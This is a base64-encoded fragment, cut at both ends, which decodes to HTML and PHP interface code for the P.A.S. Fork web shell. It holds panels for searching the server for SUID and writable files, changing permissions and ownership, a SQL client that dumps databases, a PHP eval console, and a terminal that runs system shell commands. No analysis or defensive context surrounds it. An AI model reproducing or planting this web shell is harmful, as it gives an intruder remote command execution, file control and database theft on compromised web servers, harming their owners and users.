9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJDbG9zZSJvbmNsaWNrPSJyZXR1cm4gdWlDbHNNb2RhbCgnZnJtU3JjaCcpIj4mI3gwMEQ3OzwvYT48L2Rpdj48bGFiZWwgY2xhc3M9Im9wdGlvbiJ0aXRsZT0iZXh4OiA8P3BocCBlY2hvIE5JWD8nL3Zhci93d3c6L2V0YzovdG1wLyc6J2M6XFxpbmV0cHViXFx3d3dyb290O2Q6XFx3d3dcXCc7Pz4iPlBhdGhzPGlucHV0IHR5cGU9InRleHQicmVxdWlyZWQgLz48L2xhYmVsPjxkaXYgY2xhc3M9ImZsZXhSb3cgbm9GbGV4Ij48ZGl2IGNsYXNzPSJvcHRpb24iPiBOYW1lICg8bGFiZWwgdGl0bGU9Ij8gLSBzaW5nbGUgY2hhcjsgKiAtIHplcm8gb3IgbW9yZSBjaGFyOyBbITAxMjNBLVpdIC0gY2xhc3Mgb2YgY2hhcnMgKC0gZm9yIHJhbmdlLCAhIHRvIGV4Y2x1ZGUpIj48aW5wdXQgdHlwZT0iY2hlY2tib3gibmFtZT0idyIvPndpbGRjYXJkPC9sYWJlbD4sIDxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3gibmFtZT0iaSIvPmNhc2UtaW5zZW5zaXRpdmU8L2xhYmVsPikgPGlucHV0IHR5cGU9InRleHQibmFtZT0ibiIvPjwvZGl2PjxsYWJlbCBjbGFzcz0ib3B0aW9uInRpdGxlPSJNYXggc2VhcmNoIGRlcHRoIj5EZXB0aDxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9ImQic2l6ZT0iMSJzaXplPSIxIi8+PC9sYWJlbD48bGFiZWwgY2xhc3M9Im9wdGlvbiI+VHlwZSA8c2VsZWN0IG5hbWU9Inkib25jaGFuZ2U9InVpU3JjaEZUeXBlQ2huZ2QoKSI+PG9wdGlvbiB2YWx1ZT0iIj5Bbnk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIxIj5EaXJzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iMCI+RmlsZXM8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5Nb2RlIDxzZWxlY3QgbmFtZT0icCI+PG9wdGlvbiB2YWx1ZT0iIj5Bbnk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIxIj5SZWFkYWJsZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjIiPldyaXRhYmxlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iMyI+RnVsbCBhY2Nlc3M8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPiA8P3BocCBpZihOSVgpez8+IDxsYWJlbCBjbGFzcz0ib3B0aW9uIj4gQXR0cmlidXRlIDxzZWxlY3QgbmFtZT0idSI+PG9wdGlvbiB2YWx1ZT0iIj5Bbnk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIxIj5TVUlEPC9vcHRpb24+PC9zZWxlY3Q+PC9sYWJlbD48L2Rpdj48ZGl2IGNsYXNzPSJmbGV4Um93Ij48bGFiZWwgY2xhc3M9Im9wdGlvbiJ0aXRsZT0iZXh4OiAwLCAmZ3Q7MTAwMCwgJmx0OzEwMDUsIDEwMTAtMTAxNSI+T3duZXIgaWQ8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJvIi8+PC9sYWJlbD48aHIgY2xhc3M9InNwY3IyMCIvPjxsYWJlbCBjbGFzcz0ib3B0aW9uInRpdGxlPSJleHg6IDAsICZndDsxMDAwLCAmbHQ7MTAwNSwgMTAxMC0xMDE1Ij5Hcm91cCBpZDxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9ImciLz48L2xhYmVsPiA8P3BocCB9Pz4gPC9kaXY+PGRpdiBjbGFzcz0iZmxleFJvdyI+PGxhYmVsIGNsYXNzPSJvcHRpb24idGl0bGU9ImV4eDogJmd0OzE5OTEtMDgtMjQgMDA6MDA6MDAsICZsdDsxOTkxLTA4LTI0IDAwOjAwOjAwLCAxOTkxLTA4LTI0IDAwOjAwOjAwIC0gMTk5Ni0wNi0yOCAxMjowMDowMCwgMTk5Ni0wNi0yOCAxMjowMDowMCI+Q3JlYXRlZCAoVVRDKTxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9ImUiLz48L2xhYmVsPjxociBjbGFzcz0ic3BjcjIwIi8+PGxhYmVsIGNsYXNzPSJvcHRpb24idGl0bGU9ImV4eDogJmd0OzE5OTEtMDgtMjQgMDA6MDA6MDAsICZsdDsxOTkxLTA4LTI0IDAwOjAwOjAwLCAxOTkxLTA4LTI0IDAwOjAwOjAwIC0gMTk5Ni0wNi0yOCAxMjowMDowMCwgMTk5Ni0wNi0yOCAxMjowMDowMCI+TW9kaWZpZWQgKFVUQyk8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJtIi8+PC9sYWJlbD48L2Rpdj48ZGl2IGNsYXNzPSJmbGV4Um93Ij48bGFiZWwgY2xhc3M9Im9wdGlvbiJ0aXRsZT0iZXh4OiAmZ3Q7MTAsICZsdDsxMDI0MDAsIDEwLTEwMjQsIDIwNDgiPlNpemUgKGJ5dGVzKTxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InoiLz48L2xhYmVsPjxociBjbGFzcz0ic3BjcjIwIi8+PGRpdiBjbGFzcz0ib3B0aW9uIj5UZXh0ICg8bGFiZWwgdGl0bGU9IkRlbGltaXRlciBpcyBwb3VuZCAoIykiPjxpbnB1dCB0eXBlPSJjaGVja2JveCJuYW1lPSJ4Ii8+dXNlIHJlZ2V4PC9sYWJlbD4sIDxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3gibmFtZT0idiIvPmNhc2UtaW5zZW5zaXRpdmU8L2xhYmVsPik8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJ0Ii8+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZmxleFJvdyI+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCJuYW1lPSJsIi8+IFByb2Nlc3MgbGlua3M8L2xhYmVsPjxociBjbGFzcz0ic3BjckZsZXgiLz48YnV0dG9uPlNlYXJjaDwvYnV0dG9uPjwvZGl2PjwvZm9ybT48Zm9ybSBpZD0iZnJtTG5rImNsYXNzPSJtb2RhbCJvbm1vdXNlZG93bj0idWlBY3R2TW9kYWwoZXZlbnQpIm9uc3VibWl0PSJta0xuayhldmVudCkidGFiaW5kZXg9Ii0xIj48ZGl2IGNsYXNzPSJkaXZDbnRybHMiPjxzcGFuIGNsYXNzPSJzcG5UaXRsZSI+Q3JlYXRlIExpbms8L3NwYW4+PGEgaHJlZj0iIyJjbGFzcz0iY250cmwidGl0bGU9IkNsb3NlIm9uY2xpY2s9InJldHVybiB1aUNsc01vZGFsKCdmcm1MbmsnKSI+JiN4MDBENzs8L2E+PC9kaXY+PGxhYmVsIGNsYXNzPSJvcHRpb24iPlRhcmdldCBQYXRoOiA8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJwInJlcXVpcmVkLz48L2xhYmVsPjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5MaW5rIFBhdGg6IDxpbnB1dCB0eXBlPSJ0ZXh0InJlcXVpcmVkLz48L2xhYmVsPjxkaXYgY2xhc3M9ImZsZXhSb3ciPjxzZWxlY3QgbmFtZT0idCI+PG9wdGlvbiB2YWx1ZT0iMCI+U3ltYm9saWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIxIj5IYXJkPC9vcHRpb24+PC9zZWxlY3Q+PGhyIGNsYXNzPSJzcGNyRmxleCIvPjxidXR0b24+Q3JlYXRlPC9idXR0b24+PC9kaXY+PC9mb3JtPjx0ZW1wbGF0ZSBpZD0idG1wbEZybVBycHMiPjxmb3JtIGNsYXNzPSJtb2RhbCBmcm1GaWxlc1BycHMib25tb3VzZWRvd249InVpQWN0dk1vZGFsKGV2ZW50KSJvbnN1Ym1pdD0iY2huZ1BycHMoZXZlbnQpInRhYmluZGV4PSItMSI+PGRpdiBjbGFzcz0iZGl2Q250cmxzIj48c3BhbiBjbGFzcz0ic3BuVGl0bGUiPlByb3BlcnRpZXM8L3NwYW4+PGEgaHJlZj0iIyJjbGFzcz0iY250cmwidGl0bGU9IkNsb3NlIHdpdGhvdXQgc2F2aW5nIm9uY2xpY2s9InJldHVybiB1aURzdHJNb2RhbCh0aGlzLnBhcmVudE5vZGUucGFyZW50Tm9kZSkiPiYjeDAwRDc7PC9hPjwvZGl2PjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5QYXRoPGlucHV0IHR5cGU9InRleHQibmFtZT0icCJyZXF1ZXN0Lz48L2xhYmVsPjxkaXYgY2xhc3M9ImZsZXhSb3ciPjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5Nb2RpZmllZCAoVVRDKSA8YSBocmVmPSIjImNsYXNzPSJjbnRybCBhcndEd24ib25jbGljaz0ic2V0RXJsRGF0ZShldmVudCkidGl0bGU9IlNldCB0aGUgZWFybGllc3QgZGF0ZSBmcm9tIHRhYmxlIj48L2E+PGlucHV0IHR5cGU9InRleHQic2l6ZT0iMSJuYW1lPSJ0Ii8+PC9sYWJlbD4gPD9waHAgaWYoTklYKXs/PiA8aHIgY2xhc3M9InNwY3IyMCIvPjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5QZXJtaXNzaW9uPGlucHV0IHR5cGU9InRleHQic2l6ZT0iMSJuYW1lPSJlIi8+PC9sYWJlbD48aHIgY2xhc3M9InNwY3IyMCIvPjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5Pd25lcjxpbnB1dCB0eXBlPSJ0ZXh0InNpemU9IjEibmFtZT0ibyIvPjwvbGFiZWw+PGhyIGNsYXNzPSJzcGNyMjAiLz48bGFiZWwgY2xhc3M9Im9wdGlvbiI+R3JvdXA8aW5wdXQgdHlwZT0idGV4dCJzaXplPSIxIm5hbWU9InIiLz48L2xhYmVsPjwvZGl2PjxkaXYgY2xhc3M9ImZsZXhSb3ciPiA8P3BocCB9Pz4gPGhyIGNsYXNzPSJzcGNyRmxleCIvPjxidXR0b24gPlNhdmU8L2J1dHRvbj48L2Rpdj48L2Zvcm0+PC90ZW1wbGF0ZT48Zm9ybSBpZD0iZnJtQnVmZmVyImNsYXNzPSJtb2RhbCJvbm1vdXNlZG93bj0idWlBY3R2TW9kYWwoZXZlbnQpInRhYmluZGV4PSItMSI+PGRpdiBjbGFzcz0iZGl2Q250cmxzIj48c3BhbiBjbGFzcz0ic3BuVGl0bGUiPkJ1ZmZlcjwvc3Bhbj48YSBocmVmPSIjImNsYXNzPSJjbnRybCJ0aXRsZT0iQ2xvc2Uib25jbGljaz0icmV0dXJuIHVpQ2xzTW9kYWwoJ2ZybUJ1ZmZlcicpIj4mI3gwMEQ3OzwvYT48YSBocmVmPSIjImNsYXNzPSJjbnRybCJ0aXRsZT0iUmVzaXplIm9uY2xpY2s9InJldHVybiB1aVJzeignZnJtQnVmZmVyJykiPiYjeDI5MjI7PC9hPjwvZGl2Pjx0YWJsZSBpZD0idGJsQnVmZmVyIm9uY2xpY2s9Im9uVGJsQnVmZmVyQ2xpY2soZXZlbnQpIj48dGhlYWQ+PHRyPjx0aCB3aWR0aD0iMjBweCI+PGlucHV0IHR5cGU9ImNoZWNrYm94Im9uY2xpY2s9InVpQ2hlY2tBbGwoJ0J1ZmZlcicsIHRoaXMuY2hlY2tlZCkiLz48L3RoPjx0aD5GaWxlPC90aD48dGggd2lkdGg9IjM1cHgiPkFjdDwvdGg+PC90cj48L3RoZWFkPjx0Zm9vdD48dHI+PHRoIGNvbHNwYW49IjMiPjxidXR0b24gdHlwZT0iYnV0dG9uIm9uY2xpY2s9InVubWFya0ZpbGVzKCkiPlJlbW92ZTwvYnV0dG9uPjwvdGg+PC90cj48L3Rmb290PjwvdGFibGU+PHRlbXBsYXRlIGlkPSJ0bXBsQnVmZmVyUm93Ij48dHI+PHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCJuYW1lPSJmW10iLz48L3RkPjx0ZD48YSBocmVmPSIjIj48L2E+PC90ZD48dGQ+PGEgaHJlZj0iIyJjbGFzcz0ibG5rQWN0Ij5SbTwvYT48L3RkPjwvdHI+PC90ZW1wbGF0ZT48L2Zvcm0+PC9kaXY+PC9kaXY+PC9zcGFuPjxzcGFuIGlkPSJ0YWJTUUwiPjxhIGhyZWY9IiN0YWJTUUwiY2xhc3M9InRhYiI+U1FMIENsaWVudDwvYT48ZGl2IGNsYXNzPSJ0YWJQYWdlImlkPSJkaXZQYWdlU1FMIj48Zm9ybSBjbGFzcz0idG9vbGJhciJpZD0iZnJtQ25uY3Qib25zdWJtaXQ9InJldHVybiBjbm5jdCgpIj48c2VsZWN0IG5hbWU9ImUiPiA8P3BocCAkYT1hcnJheSgnTVlTUUxfTlVNJz0+YXJyYXkoJ015U1FMJywnTXlTUUwnKSwnTVlTUUxJX05VTSc9PmFycmF5KCdNeVNRTGknLCdNeVNRTGknKSwnUERPOjpNWVNRTF9BVFRSX0lOSVRfQ09NTUFORCc9PmFycmF5KCdNeVNRTFBETycsJ015U1FMIChQRE8pJyksJ01TU1FMX05VTSc9PmFycmF5KCdNU1NRTCcsJ01TU1FMJyksJ1NRTFNSVl9FUlJfQUxMJz0+YXJyYXkoJ1NRTFNydicsJ01TU1FMIChTUUxTcnYpJyksJ1BETzo6UEFSQU1fSU5UJz0+YXJyYXkoJ01TU1FMREJMSUInLCdNU1NRTCAoUERPX0RCTElCKScpLCdQRE86OlBBUkFNX1NUUic9PmFycmF5KCdNU1NRTE9EQkMnLCdNU1NRTCAoUERPX09EQkMpJyksJ1BETzo6U1FMU1JWX0VOQ09ESU5HX1VURjgnPT5hcnJheSgnU1FMU3J2UERPJywnTVNTUUwgKFBET19TUUxTUlYpJyksJ1BHU1FMX05VTSc9PmFycmF5KCdQR1NRTCcsJ1Bvc3RncmVTUUwnKSwnUERPOjpQQVJBTV9MT0InPT5hcnJheSgnUEdTUUxQRE8nLCdQb3N0Z3JlU1FMIChQRE8pJykpO2ZvcmVhY2goJGEgYXMkaz0+JHYpaWYoZGVmaW5lZCgkaykpZWNobyc8b3B0aW9uIHZhbHVlPSInLCR2WzBdLCciPicsJHZbMV0sJzwvb3B0aW9uPic7Pz4gPC9zZWxlY3Q+PGlucHV0IHR5cGU9InRleHQibmFtZT0iaCJwbGFjZWhvbGRlcj0iSG9zdCIvPjxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InUicGxhY2Vob2xkZXI9IlVzZXIiLz48aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJwInBsYWNlaG9sZGVyPSJQYXNzd29yZCIvPjxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9ImIicGxhY2Vob2xkZXI9IkJhc2UiLz48YnV0dG9uPiZndDs8L2J1dHRvbj48L2Zvcm0+PGRpdiBjbGFzcz0ic3ViYmFyIj48c3BhbiBjbGFzcz0ic3BuQ2hyc3QiPiA8aHIgY2xhc3M9ImFyd1VwIi8+IDxzZWxlY3QgaWQ9InNxbENTU2VuZCI+PD9waHAgZm9yZWFjaCgkQyBhcyRrPT4kdillY2hvJzxvcHRpb24gdmFsdWU9IicsJGssJyI+JywkdiwnPC9vcHRpb24+Jzs/Pjwvc2VsZWN0Pjwvc3Bhbj48c3BhbiBjbGFzcz0ic3BuQ2hyc3QiPjxociBjbGFzcz0iYXJ3RHduIi8+IDxzZWxlY3QgaWQ9InNxbENTTG9hZCI+PD9waHAgZm9yZWFjaCgkQyBhcyRrPT4kdillY2hvJzxvcHRpb24gdmFsdWU9IicsJGssJyI+JywkdiwnPC9vcHRpb24+Jzs/PiA8L3NlbGVjdD48L3NwYW4+PC9kaXY+PGRpdiBpZD0iZGl2U1FMIj48ZGl2IGlkPSJkaXZTUUxXcnBMZWZ0Ij48ZGl2IGNsYXNzPSJwYW5lbCI+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCJpZD0iY2JDUiIvPiBDb3VudCBudW1iZXIgb2Ygcm93czwvbGFiZWw+PC9kaXY+PGRpdiBjbGFzcz0icGFuZWwiPjxkaXYgaWQ9ImRpdlNjaG0iPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9InBhbmVsImlkPSJkaXZEdW1wIj5EdW1wIGFzIDxzZWxlY3QgaWQ9InNsY3REbXBGcm10Ij48b3B0aW9uIHZhbHVlPSIwIj5TUUw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIxIj5DU1Y8L29wdGlvbj48L3NlbGVjdD48YnV0dG9uIHR5cGU9ImJ1dHRvbiJvbmNsaWNrPSJkdW1wKCkiPiZndDs8L2J1dHRvbj48L2Rpdj48L2Rpdj48ZGl2IGlkPSJkaXZTUUxXcnBSaWdodCI+PGZvcm0gY2xhc3M9InBhbmVsIGZsZXhSb3ciaWQ9ImZybVNRTCJvbnN1Ym1pdD0icmV0dXJuIHF1ZXJ5KCkiPjxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InEicGxhY2Vob2xkZXI9IlNRTCBxdWVyeSIvPjxidXR0b24+Jmd0OzwvYnV0dG9uPjwvZm9ybT48ZGl2IGlkPSJkaXZDcHRuIj48L2Rpdj48ZGl2IGlkPSJkaXZEYXRhIj48dGFibGUgaWQ9InRibEhlYWQiPjwvdGFibGU+PHRhYmxlIGlkPSJ0YmxEYXRhIj48L3RhYmxlPjwvZGl2Pjxmb3JtIGNsYXNzPSJwYW5lbCJpZD0iZnJtUGcib25zdWJtaXQ9InJldHVybiBjaG5nUGcoMCkiPjxpbnB1dCB0eXBlPSJoaWRkZW4ibmFtZT0iYiIvPjxpbnB1dCB0eXBlPSJoaWRkZW4ibmFtZT0icyIvPjxpbnB1dCB0eXBlPSJoaWRkZW4ibmFtZT0idCIvPiBTdGFydCBmcm9tIHJvdyA8YnV0dG9uIHR5cGU9ImJ1dHRvbiJvbmNsaWNrPSJjaG5nUGcoLTEpIj4mbHQ7PC9idXR0b24+PGlucHV0IHR5cGU9InRleHQibmFtZT0ibyJzaXplPSI1InZhbHVlPSIwIi8+PGJ1dHRvbiB0eXBlPSJidXR0b24ib25jbGljaz0iY2huZ1BnKDEpIj4mZ3Q7PC9idXR0b24+PGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQiPlJvd3MgcGVyIHBhZ2UgPGlucHV0IHR5cGU9InRleHQibmFtZT0iciJzaXplPSIzInZhbHVlPSIyNSIvPjxidXR0b24+Jmd0OzwvYnV0dG9uPjwvZGl2PjwvZm9ybT48L2Rpdj48L2Rpdj48L2Rpdj48L3NwYW4+PHNwYW4gaWQ9InRhYlBIUCI+PGEgaHJlZj0iI3RhYlBIUCJjbGFzcz0idGFiIj5QSFAgQ29uc29sZTwvYT48ZGl2IGNsYXNzPSJ0YWJQYWdlImlkPSJkaXZQYWdlUEhQIj48Zm9ybSBjbGFzcz0idG9vbGJhciJpZD0iZnJtUEhQIm9uc3VibWl0PSJyZXR1cm4gZXZsKCkiPjxsYWJlbD48YSBocmVmPSIjInRpdGxlPSJDaGFuZ2UgY29tcG9zaXRpb24iY2xhc3M9ImNtcHNSb3ciaWQ9ImFDbXBzIm9uY2xpY2s9InJldHVybiB1aUNobmdDbXBzKCkiPkNvbXBvc2l0aW9uPC9hPjwvbGFiZWw+PGxhYmVsIHRpdGxlPSJFcmFzZSBQSFAgY29kZSBhZnRlciBzdWNjZXNzZnVsIGV2YWwiPjxpbnB1dCB0eXBlPSJjaGVja2JveCJpZD0iY2JDbG5JbnAiLz4gQ2xlYXIgaW5wdXQ8L2xhYmVsPjxsYWJlbCB0aXRsZT0iRXJhc2UgcHJldmlvdXMgcmVzdWx0cyBiZWZvcmUgc2hvdyBuZXciPjxpbnB1dCB0eXBlPSJjaGVja2JveCJpZD0iY2JDbG5PdXQiIGNoZWNrZWQvPiBDbGVhciBvdXRwdXQ8L2xhYmVsPjxsYWJlbCB0aXRsZT0iUmVuZGVyIHJlc3VsdCBhcyBIVE1MIj48aW5wdXQgdHlwZT0iY2hlY2tib3giaWQ9ImNiSFRNTCIvPiBTaG93IGFzIEhUTUw8L2xhYmVsPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3gibmFtZT0iaCIvPiBIaWRlIFBIUCBlcnJvcnM8L2xhYmVsPjxkaXY+PHNwYW4gY2xhc3M9InNwbkNocnN0InRpdGxlPSJTZW5kIGFzLi4uIj48aHIgY2xhc3M9ImFyd1VwIi8+IDxzZWxlY3QgaWQ9InNsY3RQSFBDUyI+PD9waHAgZm9yZWFjaCgkQyBhcyR2KWVjaG8nPG9wdGlvbj4nLCR2LCc8L29wdGlvbj4nOz8+PC9zZWxlY3Q+PC9zcGFuPjxzcGFuIGNsYXNzPSJzcG5DaHJzdCJ0aXRsZT0iTG9hZCBhcy4uLiI+PGhyIGNsYXNzPSJhcndEd24iLz4gPHNlbGVjdCBuYW1lPSJjIj48P3BocCBmb3JlYWNoKCRDIGFzJGs9PiR2KWVjaG8nPG9wdGlvbiB2YWx1ZT0iJywkaywnIj4nLCR2LCc8L29wdGlvbj4nOz8+PC9zZWxlY3Q+PC9zcGFuPjxidXR0b24gaWQ9InNibVBIUCJ0aXRsZT0iUHJlc3MgQ3RybCArIEVudGVyIHRvIGV2YWx1YXRlIGNvZGUiPkV2YWw8L2J1dHRvbj48L2Rpdj48L2Zvcm0+PGRpdiBpZD0iZGl2UEhQIj48dGV4dGFyZWEgbmFtZT0iZSJmb3JtPSJmcm1QSFAiaWQ9InR4dFBIUCJwbGFjZWhvbGRlcj0icGhwaW5mbygpOyJvbmtleWRvd249Im9uUEhQS2V5RHduKGV2ZW50KSI+PC90ZXh0YXJlYT48cHJlIGlkPSJwcmVQSFAib25rZXlkb3duPSJvblBIUFJlc0tleUR3bihldmVudCkidGFiaW5kZXg9Ii0xIj48L3ByZT48L2Rpdj48L2Rpdj48L3NwYW4+PHNwYW4gaWQ9InRhYlRybSI+PGEgaHJlZj0iI3RhYlRybSJjbGFzcz0idGFiIj5UZXJtaW5hbDwvYT48Zm9ybSBjbGFzcz0idGFiUGFnZSJpZD0iZnJtVHJtIm9uc3VibWl0PSJyZXR1cm4gZXhlYygpIj48ZGl2IGNsYXNzPSJ0b29sYmFyIj48bGFiZWwgY2xhc3M9ImZsZXhSb3cidGl0bGU9IlNoZWxsIG11c3QgYmUgYWJsZSB0byBhY2NlcHQgY29tbWFuZCBmcm9tIHRoZSBhcmd1bWVudCAnYycgKGUuZy46ICQ8P3BocCBlY2hvIE5JWD8iL2Jpbi9zaGVsbCAtYyAndW5hbWUgLWE7IGlkJyI6ImNtZCAvYyAndmVyOyBwd2QnIjs/PikiPlNoZWxsOiA8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJzInBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIE5JWD8nL2Jpbi9zaCc6Jyc7Pz4iLz48L2xhYmVsPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3gibmFtZT0iaCI+IERvbid0IHNob3cgZXJyb3JzPC9sYWJlbD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0iY2JJVCIvPiBJbnZlcnQgb3V0cHV0PC9sYWJlbD48bGFiZWw+VXNlIGZ1bmN0aW9uOiA8c2VsZWN0IG5hbWU9ImYiPjwvc2VsZWN0PjwvbGFiZWw+PGRpdj48c3BhbiBjbGFzcz0ic3BuQ2hyc3QidGl0bGU9IlNlbmQgYXMuLi4iPjxociBjbGFzcz0iYXJ3VXAiLz4gPHNlbGVjdCBpZD0ic2xjdFRybUNTIj48P3BocCBmb3JlYWNoKCRDIGFzJHYpZWNobyc8b3B0aW9uPicsJHYsJzwvb3B0aW9uPic7Pz48L3NlbGVjdD48L3NwYW4+PHNwYW4gY2xhc3M9InNwbkNocnN0InN0eWxlPSJ0ZXh0LWFsaWduOnJpZ2h0InRpdGxlPSJMb2FkIGFzLi4uIj48aHIgY2xhc3M9ImFyd0R3biIvPiA8c2VsZWN0IG5hbWU9ImMiPjw/cGhwIGZvcmVhY2goJEMgYXMkaz0+JHYpZWNobyc8b3B0aW9uIHZhbHVlPSInLCRrLCciPicsJHYsJzwvb3B0aW9uPic7Pz48L3NlbGVjdD48L3NwYW4+PC9kaXY+PC9kaXY+PGRpdiBpZD0iZGl2VHJtIm9uY2xpY2s9Im9uVHJtQ2xpY2soZXZlbnQpIj48cHJlIGlkPSJwcmVUcm0ib25rZXlkb3duPSJvblRybVJlc0tleUR3bihldmVudCkidGFiaW5kZXg9Ii0xIj48L3ByZT48ZGl2IGNsYXNzPSJmbGV4Um93Ij48c3BhbiBpZD0ic3BuVXNySHN0Ij48L3NwYW4+OjxzcGFuIGlkPSJzcG5QdGgiPjwvc3Bhbj4kJm5ic3A7PGlucHV0IHR5cGU9InRleHQibmFtZT0iZSJpZD0iaW5wVHJtIm9ua2V5ZG93bj0ib25Ucm1JbnBLZXlEd24oZXZlbnQpImF1dG9jb21wbGV0ZT0ib2ZmIi8+PC9kaXY+PC9kaXY+PC9mb3JtPjwvc3Bhbj48c3BhbiBpZD0idGFiSW5mIj48YSBocmVmPSIjdGFiSW5mImNsYXNzPSJ0YWIiPkluZm9ybWF0aW9uPC9hPjxkaXYgY2xhc3M9InRhYlBhZ2UiaWQ9ImRpdkluZm8iPjxkaXYgY2xhc3M9InRvb2xiYXIiPjxkaXY+PGEgaHJlZj0iIyJjbGFzcz0ibG5rQWN0Im9uY2xpY2s9InJldHVybiBhanhTbmQoJ0dldCBtYWluIGluZm8nLCBvbkluZk1haW4sIG51bGwsIHthOidpJyx0OidtJ30pIj5NYWluPC9hPiAvIDxhIGhyZWY9IiMiY2xhc3M9Imxua0FjdCJvbmNsaWNrPSJyZXR1cm4gYWp4U25kKCdHZXQgcGhwIGluZm8nLCBvbkluZlBIUCwgbnVsbCwge2E6J2knLHQ6J3AnfSkiPlBIUDwvYT4gLyA8L2Rpdj48L2Rpdj4gPD9waHAgaW5mTWFpbihUUlVFKTs/PjwvZGl2Pjwvc3Bhbj48L2Rpdj48ZGl2IGNsYXNzPSJwYW5lbCJpZD0iZGl2RnRyIj48ZGl2PjxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9jcjFmL1AuQS5TLi1Gb3JrLyJ0YXJnZXQ9ImJsYW5rIj5QLkEuUy4gRm9yayB2LiA8P3BocCBlY2hvIFZFUjs/PjwvYT48L2Rpdj48ZGl2IGlkPSJkaXZEdFRtInRpdGxlPSJTZXJ2ZXIgVGltZSI+PHNwYW4+PC9zcGFuPjwvZGl2PjxkaXY+PGEgaHJlZj0iIyJpZD0iYWN0TG9nInRpdGxlPSJNZXNzYWdlIGxvZyJvbmNsaWNrPSJyZXR1cm4gdWlTaHdNb2RhbCgnZGl2TG9nJykiPiYjeDI2QTA7PC9hPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9Im1vZGFsIm9ubW91c2Vkb3duPSJ1aUFjdHZNb2RhbChldmVudCkiaWQ9ImRpdlN0bmdzInRhYmluZGV4PSItMSI+PGRpdiBjbGFzcz0iZGl2Q250cmxzIj48c3BhbiBjbGFzcz0ic3BuVGl0bGUiPlNldHRpbmdzPC9zcGFuPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJDbG9zZSJvbmNsaWNrPSJyZXR1cm4gdWlDbHNNb2RhbCgnZGl2U3RuZ3MnKSI+JiN4MDBENzs8L2E+PC9kaXY+CTxsYWJlbCBjbGFzcz0ib3B0aW9uIj48aW5wdXQgb25jbGljaz0iQ09PS0lFID0gKHRoaXMuY2hlY2tlZCA/IDEgOiAwKSIgdHlwZT0iY2hlY2tib3giIGlkPSJjYkNPIi8+IFVzZSBjb29raWUgdG8gcmVxdWVzdDwvbGFiZWw+CTxsYWJlbCBjbGFzcz0ib3B0aW9uIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJjYlJSIi8+IFNraXAgcmVxdWVzdCBlbmNvZGluZzwvbGFiZWw+PGxhYmVsIHRpdGxlPSJSYXcgT3V0cHV0IG1vZGUgZm9yIGJpZyBmaWxlcy4mIzEwO1NraXAgcmVzcG9uc2UgZW5jb2RpbmcgKCdvYl8qJykuIiBjbGFzcz0ib3B0aW9uIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJjYlJPIi8+IFNraXAgcmVzcG9uc2UgZW5jb2Rpbmc8L2xhYmVsPjxsYWJlbCB0aXRsZT0iU2hvd24gaW4gRmlsZSBNYW5hZ2VyIiBjbGFzcz0ib3B0aW9uIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJjYlRNIi8+IDxiPmN0aW1lPC9iPiBpbnN0ZWFkIG9mIDxiPm10aW1lPC9iPjwvbGFiZWw+PGxhYmVsIGNsYXNzPSJvcHRpb24iPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9ImNiT0kiLz4gPGI+aWZyYW1lPC9iPiBpbnN0ZWFkIG9mIDxiPnhocjwvYj48L2xhYmVsPjxmb3JtIGlkPSJmcm1Dc3RFbnYib25zdWJtaXQ9InJldHVybiBmYWxzZSI+PGZpZWxkc2V0IGlkPSJmbGRFbnYiPjxsZWdlbmQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCJpZD0iZSIvPiBSdW4gaW4gY3VzdG9tIGVudmlyb25tZW50PC9sYWJlbD48L2xlZ2VuZD48bGFiZWw+RnVuY3Rpb246IDxzZWxlY3QgbmFtZT0iZiI+PC9zZWxlY3Q+PC9sYWJlbD48bGFiZWwgY2xhc3M9Im9wdGlvbiI+U2hlbGw6IDxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InMicGxhY2Vob2xk